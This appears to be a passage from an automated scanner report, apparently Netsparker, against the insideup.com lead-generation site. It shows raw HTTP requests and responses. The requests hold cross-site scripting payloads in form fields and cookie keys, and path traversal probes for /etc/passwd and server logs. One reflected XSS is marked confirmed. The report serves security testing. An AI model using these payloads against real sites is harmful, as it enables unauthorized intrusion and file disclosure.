Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 229
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company=3&companyServices=3&email=netsparker%40example.com&firstName=Smith&iusrc=3&lastName=Smith&parentPage='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000499)%3c%2fscript%3e&phone=3&src=aboutUs&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:18 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=294AE1C227BA40E3436EFCBE59B0790A; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="'"--></style></script><script>netsparker(0x000499)</script>"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	3
phone	POST	'"--></style></script><script>alert(0x0004AB)</script>
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 229
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company=3&companyServices=3&email=netsparker%40example.com&firstName=Smith&iusrc=3&lastName=Smith&parentPage=3&phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004AB)%3c%2fscript%3e&src=aboutUs&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:26 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=95092FFA8350006F73409A3543069D56; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> 